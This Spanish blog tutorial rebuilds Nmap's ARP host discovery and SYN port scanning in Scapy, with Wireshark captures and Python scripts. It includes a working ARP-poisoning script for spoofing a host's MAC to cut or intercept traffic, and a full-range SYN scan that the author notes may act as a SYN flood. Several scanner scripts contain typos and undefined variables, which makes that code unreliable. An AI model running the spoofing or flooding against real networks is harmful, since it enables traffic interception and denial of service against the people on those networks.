The Path of the Samurai – Scapy (Parte 2)

Publicada en Publicada en Enumeración y escaneo

Buenas H4x0rs!

 

Bueno que? Todos preparados para una nueva intensa sesión sobre scapy?? Que os apetece hoy? He pensado que vamos a incrementar un poco la dificultad…. Esta guay cuando abres la Shell y pones Nmap + los comandos correspondientes y por arte de magia te saca información del objetivo verdad? (Si no sabes ya de que hablo… date una vuelta antes por este artículo sobre NMAP )

¿Pero… te has preguntado cómo funciona? Realmente sabes que hay detrás de esta maravillosa herramienta?

Vamos  a ello anda… abrimos la Shell y vamos a escanear la red interna de casa…

Como primer paso… vamos a hacer un ping sweep para descubrir maquinas dentro de nuestro segmento de red y vamos a abrir wireshark para ver que narices ocurre por detrás.

nmap -sP [IP del segmento con * en el ultimo octeto]

Y aquí la captura de Wireshark.

Y todo esto para que? pues para …. saber que ocurre 1º porque como dice @_N4rr34n6_“ser curioso no es una opción” y porque ahora vamos a tratar de emularlo con nuestro nuevo amigo scapy para aprender mas de como funcionan nuestras herramientas diarias. Para esto Nmap utiliza el protocolo ARP(RFC) y va haciendo consultas ARP a la dirección Broadcast de la red para ver si alguna emite alguna respuesta valida.

Si miramos bien la captura veremos que nuestro equipo esta generando solicitudes ARP a dicha dirección preguntándole existe alguien en esta IP? y en esta? y en esta otra? y cuando realmente existe nos reenvía un paquete de contestación diciendo que existe dicha maquina, cual es la IP y cual es su MAC… no esta mal no? Vamos a Scapy… y vamos a coger uno de esos paquetes… y a abrirlo para ver como esta formado… y a replicarlo…

paq=rdpcap("ARP.pcap")
 paq[0].command()
"Ether(src='00:0c:29:da:82:c3', dst='ff:ff:ff:ff:ff:ff', type=2054)/ARP(hwdst='00:00:00:00:00:00', ptype=2048, hwtype=1, psrc='192.168.1.41', hwlen=6, plen=4, pdst='192.168.1.4', hwsrc='00:0c:29:da:82:c3', op=1)"

 

Vale y como lo haríamos? pues algo así no?

scapy
paq=(ARP(op=ARP.who_has, psrc="[MI IP]", pdst="[IP BROADCAST]"))
res,unans=sr(paq, iface="eth0")

No esta mal no? y por que SR (SendResponse) diréis …. no era SEND? pues porque ahora ya buscamos una respuesta… no nos sirve con enviar los paquetes y ya… con esta orden también queda a la escucha de respuestas.. en este caso las ARP reply con la información que nos interesa ;P

 

LeTs RoCk ARP

Vale… ahora hagamos un poco el mal… sabemos que si nosotros enviamos una request nos responde… y que es la manera que tenemos de anunciarnos dentro de una red cuando nos conectamos por primera vez… haciendo que el dispositivo de control nos meta dentro de las tablas ARP , bien hasta ahi todo genial… pero… y si decidimos que ese dia no se conecta ni dios? vale quizá suene dramatico… pero es facil… Esto se llama ARP POISONING y se trata de modificar esas tablas que se encuentran en la memoria de los dispositivos de la red para que pierdan la conectividad con el router….dandole la IP correcta pero modificando la MAC  (aqui que cada cual imagine lo que quiera jajjaja pero si ,se puede desviar el trafico por nuestro equipo, para “ojearlo” y después enviarlo al router jijijij no suena malicioso… no que va ;P )

#!/usr/bin/python
 
# Script de ARP-POISON
# Original Script Written by aviran
# Modificado por Nebu73 para Fwhibbit
 
from scapy.all import *
import sys

#Funcion que busca nuestra MAC
def get_mac_address():
    my_macs = [get_if_hwaddr(i) for i in get_if_list()]
    for mac in my_macs:
        if(mac != "00:00:00:00:00:00"):
            return mac

#Codigo del Script
Timeout=2
if len(sys.argv) != 3:
    print "Uso ==> arp_poison.py IP_OBJETIVO IP_A_SPOFFEAR"
    sys.exit(1)
 
     
my_mac = get_mac_address()
if not my_mac:
    print "No se ha podido encontrar la MAC del equipo"
    sys.exit(1)
 
paq = ARP(op="who-has",hwsrc=my_mac,psrc=sys.argv[2],pdst=sys.argv[1])
 
send(paq)

Pagina Original del script

Our Friend and Neighbour TCP IP!

Vale… ya hemos aprendido como encontrar equipos en nuestra red con scapy… ahora que haría falta? venga no seáis tímidos… dadle a la neurona…PUES CLARO! ESCANEARLOS!

Así que vamos a volver a sacar NMAP… y vamos a pasarle una IP de las que hemos encontrado,y a probar a escanear dicha maquina con un barrido silencioso basado en paquetes SYN (que va sobre el protocolo TCP) .Esto lo que hace es:

  1. Envía un paquete SYN,
  2. Queda a la espera de una respuesta SYN/ACK
  3. En caso de que se reciba se envía un RST para cerrar la comunicación porque si se deja todo abierto al final hacemos que casque el equipo haciendole un DOS … y no queremos eso.

Para ser minuciosos lo haremos  sobre los 65.535 puertos que tiene un equipo… por no dejarnos ninguno.

nmap -sS -p0-65535 [IP OBJETIVO]

Vale veamos que ocurre en Wireshark y lo que nos interesa… que tipo de mensaje envía y que recibe al encontrar un puerto abierto.

Bien … vamos a capturar un paquetillo de cada uno de los mencionados y a analizarlo con scapy para ver como podemos emular cada una de sus capas y generar ese mismo comportamiento con una herramienta propia… ¿No dicen que un buen hacker ha de tener su propio arsenal? pues vamoooos estáis tardando!

paqSYN=rdpcap("SYN.pcap")
paqACK=rdpcap("ACK.pcap")
paqRST=rdpcap("RST.pcap")
paqSYN[0].command()
"Ether(src='00:0c:29:da:82:c3', dst='2c:0e:3d:21:33:81', type=2048)/IP(frag=0L, src='192.168.1.41', proto=6, tos=0, dst='192.168.1.37', chksum=17652, len=44, options=[], version=4L, flags=0L, ihl=5L, ttl=51, id=48953)/TCP(reserved=0L, seq=3301336844, ack=0, dataofs=6L, urgptr=0, window=1024, flags=2L, chksum=40657, dport=36113, sport=47313, options=[('MSS', 1460)])"
paqACK[0].command()
"Ether(src='64:76:ba:91:25:7a', dst='78:3d:5b:01:6b:7b', type=2048)/IP(frag=0L, src='192.168.1.40', proto=6, tos=0, dst='217.160.0.236', chksum=26099, len=52, options=[], version=4L, flags=2L, ihl=5L, ttl=64, id=14452)/TCP(reserved=0L, seq=3615812332, ack=2786098194, dataofs=8L, urgptr=0, window=7839, flags=16L, chksum=58732, dport=443, sport=57719, options=[('NOP', None), ('NOP', None), ('Timestamp', (410508228, 2021630417))])"
 paqRST[0].command()
"Ether(src='2c:0e:3d:21:33:81', dst='00:0c:29:da:82:c3', type=2048)/IP(frag=0L, src='192.168.1.37', proto=6, tos=0, dst='192.168.1.41', chksum=17025, len=40, options=[], version=4L, flags=2L, ihl=5L, ttl=64, id=29872)/TCP(reserved=0L, seq=0, ack=3301205775, dataofs=5L, urgptr=0, window=0, flags=20L, chksum=3062, dport=47311, sport=15256)/Padding(load='\\x00\\x00\\x00\\x00\\x00\\x00')"

 

Ya tenemos eso mirado vamos a intentar generar un código que recorra los 65.000 puertos igual que en NMAP lanzandoles paquetes SYN. Pero por partes…en principio el RST lo envía Nmap para cerrar el puerto y que no se quede ahí pensando “este ma dejao colgao” pero por ahora y por no liar la manta vamos a hacer solo el envío SYN y la recepción.

ip=IP(dst="[IP OBJETIVO]")
puerto=[(0,65535)]
tcp=TCP(dport=puerto, flags="S")
paq=ip/tcp
sr(paq, iface="eth0")

Bien esto se parece a NMAP… quizás algo mas cutrecillo… claro que si lo miramos bien… lo que hemos hecho es posiblemente un SYN FLOOD como una casa haciendo que el equipo que tratamos de escanear se quede colgado perdido.

Pero podemos mejorarlo no? y si hacemos todo el proceso? y si añadimos el RST de respuesta y encima ordenamos los resultados obtenidos y los mostramos de forma “guay”?

#!/usr/bin/env python
#importamos los modulos necesarios para la ejecucion de nuestro codigo y lo hacemos en un try para comprobar que reunimos los requisitos 
try:
	import sys
	import os
	import socket
	import logging
	#Eliminamos los errores que saltan segun arranca Scapy con la version IPV6
	logging.getLogger("scapy.runtime").setLevel(logging.ERROR)	
	from scapy.all import *

	rangeIP=raw_input("Introduce el rango de IP (X.X.X.X/Z): ")
	interface=raw_imput("Introduce la interfaz a usar: ")
	print "                            Puerto       -            Servicio  "
	print "	                  -----------------------------------------------------"
	alinport = '{2:>17} - {3:38}'
	# Para ejecutar correctamente un SYN Scan al recibir el ACK por parte del equipo objetivo tendremos que contestar un RST
	for z in range(1, 65535):
	#por cada puerto abierto lanzamos un RST de respuesta
		port,unans=sr(IP(dst=IPobj)/TCP(dport= z,flags="S"), timeout=2, iface = interface )
		if len(port) == 0:
		# Si el puerto esta vacio ningun puerto descubierto en el equipo salimos de esta ejecucion de la funcion
			pass	
		else
		# Contestamos con el RST y pintamos el puerto en el listado
		send(IP(dst=ipobj)/TCP(dport=z,flags="R"), iface = interface)
		print alingport.format(z,port[0][1.port])

 

Mas ejemplos 

Overseer (El que todo lo ve ;P)

Vale… hemos visto como encontrar maquinas en nuestro segmento de red… y después como mirar si tienen algún tipo de puerto o servicio abierto… y si rizamos el rizo? y si juntamos todo? y así tenemos nuestra propia Scaning Suite?si… es una simple excusa para practicar lo aprendido… y por que no… para practicar algo de python ;P

#!/usr/bin/env python
#importamos los modulos necesarios para la ejecucion de nuestro codigo y lo hacemos en un try para comprobar que reunimos los requisitos 
try:
	import sys
	import os
	import socket
	import logging
	#Eliminamos los errores que saltan segun arranca Scapy con la version IPV6
	logging.getLogger("scapy.runtime").setLevel(logging.ERROR)	
	import time
	import requests
	from scapy.all import *
except ImportError as e:
	module = str(e)[16:].split(".")[0]
	im = raw_input("[?] python-%s not installed, would you like to install now? (apt-get install -y python-%s will be run if yes) [y/n]: " %( module, module))
	if im == "y":
		os.system("apt-get install -y python-%s" % module)
		os.system("clear")
		os.execv(sys.executable, ["python"] + sys.argv)	
	else:
		exit('[!][-] Exiting due to missing dependency')

def banner ():
# Venga y por que no un banner chulo pal programa no? al final se trata de un programa haxor que queremos usar no? jajajjaa 
# Porque OVERSEER?  porque lo quevamos a programar va a ser el "supervisor" el que todo lo ve jajjaja

	print "   	                          .-.      .-. "
	print "	                       _..--'`;;`-..-';;'`--.._"
	print "	                     .';,    _   `;;'   _    ,;`."
	print "	                     ;;'  `;;' `;.`;;'.;' `;;'  `;;"
	print "	                    .;;._.;'`;.   `;;'   .;'`;._.;;."
	print "	                  ;'      '`;;`   `;;'   ';;'`      `;"
	print "	                 ;:     .:.  `;;. `--' .;;'  .:.     :;"
	print "	                  ;.   .:|:.     `;;;;'     .:|:.   .;"
	print "   	              `;  `:|:'    .;;'`;;.    `:|:'  ;'"
	print "   	               `;. `:'  .;;'.::::.`;;.  `:' .;'"
	print "	                      `;._.;;' .:`::::':. `;;._.;'"
	print "	                 .::::. `::   (:._.::._.:)   ::' .::::."
	print "	            .:::::'  `::.`:_.--.`:::::. .--._:'.::'  `:::::."
	print "	          .::'     `:.   `::-.:::::::::::.-::'   `::      `::."
	print "	        .::'      .::'      | /.^^^..^^^.\ |      `::        `:."
	print "	        :::      .:'::.     \( `;;;..;;;' )/     .::::       :::"
	print "	        ::  :  .:':.  `::.   \            /   .::'  .:     .  ::"
	print "	        :  ::  .   :     `::.              .::'     :  :   ::  :"
	print "       .:  :    `.::.       `:.          .:'       .::.'    :  :."
	print "       ::  :  :   : :::.       `:.      .:'       .::: :   :  :  ::"
	print "	      ::  :        :' `:.       :.    .:       .:' `:        :  ::"
	print "	      :::     :   ::    `:.      :.  .:      .:'    ::   :     :::"
	print "	      ' :       :::'      :.      `::'      .:      `:::       : `"
	print ""
	print "        I am eyes in the darkness... You cant hide from me... "
	print "      ________                                                      "    
	print "      \_____  \___  __ ___________  ______  ____   ___________ "
	print "       /   |   \  \/ // __ \_  __ \/  ___/ / __ \_/ __ \_  __ \ "
	print "      /    |    \   /\  ___/|  | \/\___ \ \  ___/\  ___/|  | \/"
	print "      \_______  /\_/  \___  >__|  /____  > \___  >\___  >__|   "
	


#Funcion que nos hace la busqueda de equipos a traves de las tablas ARP dentro de la red
def ARP_Search (rangeIP,interface):
	print "\n Buscando equipos \n"
	try:
		# No mostramos nada en pantalla poniendo la opcion Verbose a 0
		conf.verb=0
		# Nuestro paquete ARP de busqueda
		hosts, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=rangeIP), timeout=2, iface = interface )
		#Generamos una estructura visual para ver los equipos, que quede algo mono no ?
		print "             IP      -        MAC        -             VENDOR                     - HOSTNAME"
		print "---------------------------------------------------------------------------------------------------------------"
		
		alinghost = '{0:>2}:{1:>17} - {2:>17} - {3:38} - {4}'
		connection=1

		if len(hosts) == 0:
			print "\n[!] No se ha encontrado ningun equipo en el segmento ", rangeIP
			sys.exit(1)

	except (KeyboardInterrupt,IndexError, ValueError):
		print "\n[*] Se ha cancelado la ejecucion \n"
		sys.exit(1)

	except IOError:
		print "\n[!] Ejecuta el script con permisos root (sudo)\n"
		sys.exit(1)	
	for i in range(0,len(hosts)):
		try:
			#Empezamos la fiesta! empezamos a pintar datos de los equipos encontrados
			if hosts[i][1].psrc == os.popen("route -n | grep UG | grep " + interface + " | awk '{print $2}'").read()[:-1]:
				hostName = "GATEWAY"
			else:
				hostName = os.popen("nbtscan -q " + hosts[i][1].psrc + " 2> /dev/null | awk '{print $2}'").read()[:-1]

			checkMAC = "http://macvendors.co/api/vendorname/%s" %hosts[i][1].hwsrc
			vendorMAC = requests.get(checkMAC).content
			print alinghost.format(i,hosts[i][1].psrc, hosts[i][1].hwsrc,vendorMAC, hostName)
			#Lanzamos sobre el objetivo un SYN Scan 
			IPhost=hosts[i][1].pdst
			SYN_Scan(IPhost,interface)
			
			connection= 1
		except requests.ConnectionError:
			aling = '{0:>0}:{1:>17} - {2:>34} - {3}'
			hostName = os.popen("nbtscan -q %s | awk '{print $2}' ").read() %hosts[i][1].psrc
			print aling.format(i, hosts[i][1].psrc, hosts[i][1].hwsrc, hostName)
			
			connection = 0
		except KeyboardInterrupt:
			print "\n[*] Scanning Hosts Cancel\n"
			sys.exit(1)
			
	if connection == 0:
		print "\n[!] To get the information of the vendor you need internet connection"

			






# Funcion que nos lanza escaneos sobre los equipos que vamos encontrando con la funcion ARP_Search
def SYN_Scan(IPobj,interface):
	try:
		# Codigo a ejecutar para emular a NMap con un escaneo silencioso, enviamos SYN y si recogemos ACK es que todo OK
			# Pintamos en pantalla una tabla para los resultados
			print "                            Puerto       -            Servicio  "
			print "	                  -----------------------------------------------------"
			alinport = '{2:>17} - {3:38}'
			# Para ejecutar correctamente un SYN Scan al recibir el ACK por parte del equipo objetivo tendremos que contestar un RST
			for z in range(1, 65535):
				#por cada puerto abierto lanzamos un RST de respuesta
				port,unans=sr(IP(dst=IPobj)/TCP(dport= z,flags="S"), timeout=2, iface = interface )
				if len(port) == 0:
				# Si el puerto esta vacio ningun puerto descubierto en el equipo salimos de esta ejecucion de la funcion
					pass	
				else:
				# Contestamos con el RST y pintamos el puerto en el listado
					send(IP(dst=ipobj)/TCP(dport=z,flags="R"), iface = interface)
					print alingport.format(z,port[0][1].port)
	except:
		print "Ocurrio un error en la ejecucion del Syn_Scan"






# Establecemos el MAIN de nuestro programa desde el cual ejecutaremos todas las funciones que iremos creando.
# ==============================MAIN==================================

if __name__ == '__main__':
	banner()
	rangeIP=raw_input("Introduce el rango de IP (X.X.X.X/Z): ")
	interface= raw_input("Introduce la interfaz a usar: ")
	ARP_Search(rangeIP, interface)

 

Vale… pensareis.. era necesario reinventar la rueda existiendo NMAP? pues… para gustos los colores… creo que si estáis leyendo esta linea una de dos… u os habéis leído este articulo por lo cual os doy las gracias y estáis realmente en el buen camino (si, el camino del samurai) o 2 … no os interesa como funcionan las herramientas que usáis  por lo que jamas pasareis de ser SK…. sorry por la mala noticia TRY HARDER …;P

 

Recordad esto es un script que pese a lo que parece esta aun en proceso… pero he preferido compartirlo en este estado para que podais trabajar sobre el y pegaros un poco con scapy. A ver que tal os va con el! Espero vuestro feedback!

Mil gracias a Luis Reoyo que gracias a el este codigo ha sido posible ya que me habia quedado atascado y con su ayuda salio este churrillo ;P!

Sed Buenos!
Nebu73 (Alguien dijo contable? ;P)

 

 

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *